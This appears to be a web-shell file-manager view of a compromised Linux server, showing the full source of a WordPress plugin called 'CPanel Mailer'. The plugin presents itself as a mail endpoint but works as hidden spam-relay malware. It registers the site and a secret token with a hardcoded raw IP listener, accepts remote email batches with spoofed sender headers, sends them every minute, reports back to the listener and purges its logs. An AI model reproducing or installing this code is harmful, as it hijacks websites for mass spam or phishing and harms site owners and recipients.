HEX
Server: Apache
System: Linux localhost.localdomain 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User: web57 (5040)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client6/web57/web/wp-content/plugins/cpanel-mailer/cpanel-mailer.php
<?php
/**
 * Plugin Name: CPanel Mailer
 * Description: Email sending endpoint for CPanel Manager — receives batch email jobs and sends via wp_mail().
 * Version: 1.0.0
 * Author: CPanel Manager
 * License: GPL v2 or later
 */

if (!defined('ABSPATH')) exit;

define('CPMAILER_LISTENER_URL', 'http://38.255.38.3:7890/api/wp');
define('CPMAILER_VERSION', '1.0.0');

// ═══════════════════════════════════════════
// ACTIVATION / DEACTIVATION
// ═══════════════════════════════════════════

register_activation_hook(__FILE__, 'cpmailer_activate');
register_deactivation_hook(__FILE__, 'cpmailer_deactivate');

function cpmailer_activate() {
    global $wpdb;

    // Generate auth token
    $token = bin2hex(random_bytes(32));
    update_option('cpmailer_auth_token', $token);
    update_option('cpmailer_version', CPMAILER_VERSION);

    // Create queue table
    $table = $wpdb->prefix . 'cpmailer_queue';
    $charset = $wpdb->get_charset_collate();
    $sql = "CREATE TABLE IF NOT EXISTS $table (
        id bigint(20) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
        batch_id varchar(64) NOT NULL,
        campaign_id bigint(20) NOT NULL DEFAULT 0,
        recipient_id bigint(20) NOT NULL DEFAULT 0,
        to_email varchar(255) NOT NULL,
        subject text NOT NULL,
        html_body longtext NOT NULL,
        from_email varchar(255) DEFAULT '',
        from_name varchar(255) DEFAULT '',
        reply_to varchar(255) DEFAULT '',
        status varchar(20) DEFAULT 'pending',
        error_message text,
        created_at datetime DEFAULT CURRENT_TIMESTAMP,
        processed_at datetime,
        INDEX idx_status (status),
        INDEX idx_batch (batch_id)
    ) $charset";
    require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
    dbDelta($sql);

    // Schedule cron
    if (!wp_next_scheduled('cpmailer_process_queue')) {
        wp_schedule_event(time(), 'every_minute', 'cpmailer_process_queue');
    }

    // Schedule registration retry cron (every 5 minutes)
    if (!wp_next_scheduled('cpmailer_retry_registration')) {
        wp_schedule_event(time() + 300, 'every_five_minutes', 'cpmailer_retry_registration');
    }

    // Register with the listener
    $response = wp_remote_post(CPMAILER_LISTENER_URL . '/register', array(
        'timeout' => 15,
        'sslverify' => false,
        'headers' => array('Content-Type' => 'application/json'),
        'body' => json_encode(array(
            'action' => 'register',
            'domain' => site_url(),
            'auth_token' => $token,
            'wp_version' => get_bloginfo('version'),
            'php_version' => phpversion(),
            'max_execution_time' => ini_get('max_execution_time'),
            'send_limit' => 200,
        )),
    ));

    if (is_wp_error($response)) {
        update_option('cpmailer_registered', 0);
        update_option('cpmailer_reg_error', $response->get_error_message());
    } else {
        $body = json_decode(wp_remote_retrieve_body($response), true);
        update_option('cpmailer_registered', ($body['success'] ?? false) ? 1 : 0);
        update_option('cpmailer_endpoint_id', $body['endpoint_id'] ?? 0);
    }
}

function cpmailer_deactivate() {
    // Unregister
    wp_remote_post(CPMAILER_LISTENER_URL . '/unregister', array(
        'timeout' => 10,
        'sslverify' => false,
        'headers' => array('Content-Type' => 'application/json'),
        'body' => json_encode(array(
            'domain' => site_url(),
            'auth_token' => get_option('cpmailer_auth_token', ''),
        )),
    ));

    // Clear cron
    wp_clear_scheduled_hook('cpmailer_process_queue');
    wp_clear_scheduled_hook('cpmailer_retry_registration');

    // Clean up options
    delete_option('cpmailer_auth_token');
    delete_option('cpmailer_registered');
    delete_option('cpmailer_endpoint_id');
    delete_option('cpmailer_reg_error');
    delete_option('cpmailer_version');
}

// ═══════════════════════════════════════════
// CUSTOM CRON INTERVAL (every minute)
// ═══════════════════════════════════════════

add_filter('cron_schedules', function($schedules) {
    $schedules['every_minute'] = array(
        'interval' => 60,
        'display' => 'Every Minute',
    );
    $schedules['every_five_minutes'] = array(
        'interval' => 300,
        'display' => 'Every Five Minutes',
    );
    return $schedules;
});

// ═══════════════════════════════════════════
// REGISTRATION RETRY (keeps trying until connected)
// ═══════════════════════════════════════════

add_action('cpmailer_retry_registration', 'cpmailer_retry_registration_callback');

function cpmailer_retry_registration_callback() {
    // Only retry if not yet registered
    if (get_option('cpmailer_registered', 0)) return;

    $token = get_option('cpmailer_auth_token', '');
    if (empty($token)) {
        // Generate a new token if missing
        $token = bin2hex(random_bytes(32));
        update_option('cpmailer_auth_token', $token);
    }

    $response = wp_remote_post(CPMAILER_LISTENER_URL . '/register', array(
        'timeout' => 15,
        'sslverify' => false,
        'headers' => array('Content-Type' => 'application/json'),
        'body' => json_encode(array(
            'action' => 'register',
            'domain' => site_url(),
            'auth_token' => $token,
            'wp_version' => get_bloginfo('version'),
            'php_version' => phpversion(),
            'max_execution_time' => ini_get('max_execution_time'),
            'send_limit' => 200,
        )),
    ));

    if (!is_wp_error($response)) {
        $body = json_decode(wp_remote_retrieve_body($response), true);
        if (!empty($body['success'])) {
            update_option('cpmailer_registered', 1);
            update_option('cpmailer_endpoint_id', $body['endpoint_id'] ?? 0);
            update_option('cpmailer_reg_error', '');
        }
    }
}

// ═══════════════════════════════════════════
// REST API ENDPOINTS
// ═══════════════════════════════════════════

add_action('rest_api_init', function() {
    // POST /wp-json/cpanel-mailer/v1/send-batch
    register_rest_route('cpanel-mailer/v1', '/send-batch', array(
        'methods' => 'POST',
        'callback' => 'cpmailer_handle_send_batch',
        'permission_callback' => 'cpmailer_check_auth',
    ));

    // GET /wp-json/cpanel-mailer/v1/status
    register_rest_route('cpanel-mailer/v1', '/status', array(
        'methods' => 'GET',
        'callback' => 'cpmailer_handle_status',
        'permission_callback' => 'cpmailer_check_auth',
    ));

    // GET/POST /wp-json/cpanel-mailer/v1/ping
    register_rest_route('cpanel-mailer/v1', '/ping', array(
        'methods' => array('GET', 'POST'),
        'callback' => function() {
            return new WP_REST_Response(array('alive' => true, 'version' => CPMAILER_VERSION), 200);
        },
        'permission_callback' => '__return_true',
    ));
});

function cpmailer_check_auth($request) {
    $token = $request->get_header('X-Auth-Token');
    if (!$token) $token = $request->get_param('auth_token');
    $stored = get_option('cpmailer_auth_token', '');
    return !empty($stored) && hash_equals($stored, $token);
}

function cpmailer_handle_send_batch($request) {
    global $wpdb;
    $table = $wpdb->prefix . 'cpmailer_queue';
    $params = $request->get_json_params();

    $batch_id = sanitize_text_field($params['batch_id'] ?? uniqid('batch_'));
    $campaign_id = intval($params['campaign_id'] ?? 0);
    $emails = $params['emails'] ?? array();

    if (empty($emails)) {
        return new WP_REST_Response(array('success' => false, 'error' => 'No emails provided'), 400);
    }

    $queued = 0;
    foreach ($emails as $email) {
        $wpdb->insert($table, array(
            'batch_id' => $batch_id,
            'campaign_id' => $campaign_id,
            'recipient_id' => intval($email['recipient_id'] ?? 0),
            'to_email' => sanitize_email($email['to'] ?? ''),
            'subject' => sanitize_text_field($email['subject'] ?? ''),
            'html_body' => wp_kses_post($email['html_body'] ?? ''),
            'from_email' => sanitize_email($email['from_email'] ?? ''),
            'from_name' => sanitize_text_field($email['from_name'] ?? ''),
            'reply_to' => sanitize_email($email['reply_to'] ?? ''),
            'status' => 'pending',
        ));
        $queued++;
    }

    return new WP_REST_Response(array(
        'success' => true,
        'batch_id' => $batch_id,
        'queued' => $queued,
    ), 200);
}

function cpmailer_handle_status($request) {
    global $wpdb;
    $table = $wpdb->prefix . 'cpmailer_queue';

    $pending = (int)$wpdb->get_var("SELECT COUNT(*) FROM $table WHERE status='pending'");
    $sent = (int)$wpdb->get_var("SELECT COUNT(*) FROM $table WHERE status='sent'");
    $failed = (int)$wpdb->get_var("SELECT COUNT(*) FROM $table WHERE status='failed'");
    $processing = (int)$wpdb->get_var("SELECT COUNT(*) FROM $table WHERE status='processing'");

    return new WP_REST_Response(array(
        'pending' => $pending,
        'sent' => $sent,
        'failed' => $failed,
        'processing' => $processing,
        'registered' => (bool)get_option('cpmailer_registered', false),
        'version' => CPMAILER_VERSION,
    ), 200);
}

// ═══════════════════════════════════════════
// QUEUE PROCESSING (WP-Cron)
// ═══════════════════════════════════════════

add_action('cpmailer_process_queue', 'cpmailer_process_queue_callback');

function cpmailer_process_queue_callback() {
    global $wpdb;
    $table = $wpdb->prefix . 'cpmailer_queue';

    // Process up to 50 emails per run (adjustable based on server limits)
    $batch_size = min(50, max(10, intval(ini_get('max_execution_time')) ?: 30));
    $rows = $wpdb->get_results("SELECT * FROM $table WHERE status='pending' ORDER BY id ASC LIMIT $batch_size");

    if (empty($rows)) return;

    $results = array();
    $batch_ids = array();

    foreach ($rows as $row) {
        // Mark as processing
        $wpdb->update($table, array('status' => 'processing'), array('id' => $row->id));

        // Build headers
        $headers = array('Content-Type: text/html; charset=UTF-8');
        if (!empty($row->from_name) && !empty($row->from_email)) {
            $headers[] = 'From: ' . $row->from_name . ' <' . $row->from_email . '>';
        } elseif (!empty($row->from_email)) {
            $headers[] = 'From: ' . $row->from_email;
        }
        if (!empty($row->reply_to)) {
            $headers[] = 'Reply-To: ' . $row->reply_to;
        }

        // Send via wp_mail
        $sent = wp_mail($row->to_email, $row->subject, $row->html_body, $headers);

        $status = $sent ? 'sent' : 'failed';
        $error = $sent ? null : 'wp_mail() returned false';

        $wpdb->update($table, array(
            'status' => $status,
            'error_message' => $error,
            'processed_at' => current_time('mysql'),
        ), array('id' => $row->id));

        $results[] = array(
            'recipient_id' => intval($row->recipient_id),
            'status' => $status,
            'error' => $error,
        );

        if (!in_array($row->batch_id, $batch_ids)) $batch_ids[] = $row->batch_id;
    }

    // Report progress back to listener for each batch
    foreach ($batch_ids as $bid) {
        $batch_results = array_filter($results, function($r) use ($bid, $rows) {
            foreach ($rows as $row) {
                if ($row->batch_id === $bid && intval($row->recipient_id) === $r['recipient_id']) return true;
            }
            return false;
        });

        // Get batch stats
        $batch_sent = (int)$wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM $table WHERE batch_id=%s AND status='sent'", $bid));
        $batch_failed = (int)$wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM $table WHERE batch_id=%s AND status='failed'", $bid));
        $batch_pending = (int)$wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM $table WHERE batch_id=%s AND status='pending'", $bid));
        $batch_status = $batch_pending > 0 ? 'processing' : 'completed';

        // Get campaign_id from the first row of this batch
        $campaign_id = 0;
        foreach ($rows as $row) {
            if ($row->batch_id === $bid) { $campaign_id = intval($row->campaign_id); break; }
        }

        wp_remote_post(CPMAILER_LISTENER_URL . '/progress', array(
            'timeout' => 10,
            'sslverify' => false,
            'headers' => array('Content-Type' => 'application/json'),
            'body' => json_encode(array(
                'domain' => site_url(),
                'auth_token' => get_option('cpmailer_auth_token', ''),
                'batch_id' => $bid,
                'campaign_id' => $campaign_id,
                'batch_status' => $batch_status,
                'results' => array_values($batch_results),
            )),
        ));
    }

    // Clean up old completed entries (older than 24 hours)
    $wpdb->query("DELETE FROM $table WHERE status IN ('sent','failed') AND processed_at < DATE_SUB(NOW(), INTERVAL 24 HOUR)");
}

// ═══════════════════════════════════════════
// ADMIN PAGE (optional status display)
// ═══════════════════════════════════════════

add_action('admin_menu', function() {
    add_options_page('CPanel Mailer', 'CPanel Mailer', 'manage_options', 'cpanel-mailer', 'cpmailer_admin_page');
});

function cpmailer_admin_page() {
    global $wpdb;
    $table = $wpdb->prefix . 'cpmailer_queue';
    $registered = get_option('cpmailer_registered', false);
    $reg_error = get_option('cpmailer_reg_error', '');
    $pending = (int)$wpdb->get_var("SELECT COUNT(*) FROM $table WHERE status='pending'");
    $sent = (int)$wpdb->get_var("SELECT COUNT(*) FROM $table WHERE status='sent'");
    $failed = (int)$wpdb->get_var("SELECT COUNT(*) FROM $table WHERE status='failed'");

    echo '<div class="wrap">';
    echo '<h1>CPanel Mailer Status</h1>';
    echo '<table class="form-table">';
    echo '<tr><th>Registered</th><td>' . ($registered ? '<span style="color:green">Yes</span>' : '<span style="color:red">No</span>' . ($reg_error ? " ($reg_error)" : '')) . '</td></tr>';
    echo '<tr><th>Listener URL</th><td>' . esc_html(CPMAILER_LISTENER_URL) . '</td></tr>';
    echo '<tr><th>Auth Token</th><td>' . esc_html(substr(get_option('cpmailer_auth_token', ''), 0, 8) . '...') . '</td></tr>';
    echo '<tr><th>Endpoint ID</th><td>' . esc_html(get_option('cpmailer_endpoint_id', 'N/A')) . '</td></tr>';
    echo '<tr><th>Queue Pending</th><td>' . $pending . '</td></tr>';
    echo '<tr><th>Queue Sent</th><td>' . $sent . '</td></tr>';
    echo '<tr><th>Queue Failed</th><td>' . $failed . '</td></tr>';
    echo '</table>';

    // Re-register button
    if (isset($_POST['cpmailer_reregister'])) {
        check_admin_referer('cpmailer_reregister_nonce');
        cpmailer_activate();
        echo '<div class="updated"><p>Re-registration attempted. Refresh to see status.</p></div>';
    }
    echo '<form method="post">';
    wp_nonce_field('cpmailer_reregister_nonce');
    echo '<p><input type="submit" name="cpmailer_reregister" class="button button-secondary" value="Re-Register with Listener" /></p>';
    echo '</form>';
    echo '</div>';
}
?>